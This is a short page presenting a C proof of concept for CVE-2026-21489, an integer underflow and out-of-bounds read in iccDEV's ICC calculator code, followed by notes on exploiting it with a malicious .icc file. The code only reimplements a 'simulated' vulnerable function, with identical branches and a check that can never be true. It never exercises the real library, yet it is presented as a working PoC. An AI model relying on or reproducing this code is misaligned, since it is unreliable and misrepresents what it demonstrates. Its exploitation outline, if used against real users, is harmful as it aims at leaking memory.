CVE-2026-21489 iccDEV CIccCalculatorFunc越界读取与整数下溢漏洞

// CVE-2026-21489 PoC - Malicious ICC Profile Triggering OOB Read // This PoC demonstrates the vulnerability in CIccCalculatorFunc::SequenceNeedTempReset #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated ICC profile structure typedef struct { unsigned int size; unsigned char* data; unsigned int calc_param; } ICCProfile; // Vulnerable function simulation int SequenceNeedTempReset_Simulated(ICCProfile* profile) { unsigned int temp_reset = 0; // Integer underflow vulnerability // When calc_param is 0, subtracting 1 causes underflow if (profile->calc_param > 0) { temp_reset = profile->calc_param - 1; } else { temp_reset = profile->calc_param - 1; // Underflow here } // Out-of-bounds read vulnerability // Using underflowed value as offset without validation unsigned char* read_ptr = profile->data + temp_reset; // This read may access memory outside profile->data bounds if (*read_ptr > 0xFF) { return -1; } return 0; } // Create malicious ICC profile to trigger vulnerability ICCProfile* create_malicious_profile() { ICCProfile* profile = (ICCProfile*)malloc(sizeof(ICCProfile)); profile->size = 100; profile->data = (unsigned char*)malloc(profile->size); memset(profile->data, 0x41, profile->size); // Set calc_param to 0 to trigger integer underflow profile->calc_param = 0; return profile; } int main() { printf("CVE-2026-21489 PoC\n"); printf("Testing integer underflow in SequenceNeedTempReset\n"); ICCProfile* malicious_profile = create_malicious_profile(); // Trigger the vulnerability int result = SequenceNeedTempReset_Simulated(malicious_profile); printf("Result: %d\n", result); printf("Integer underflow occurred, calc_param-1 = %u\n", malicious_profile->calc_param - 1); free(malicious_profile->data); free(malicious_profile); return 0; } /* Usage: 1. Compile: gcc -o poc poc.c 2. Run: ./poc 3. The PoC demonstrates how calc_param=0 leads to integer underflow causing subsequent out-of-bounds memory access Real-world exploitation: - Attacker creates malicious .icc file with specific parameters - Victim opens file in vulnerable application (photoshop, etc.) - Application parses ICC profile, triggers SequenceNeedTempReset - Integer underflow causes OOB read, leaking sensitive memory */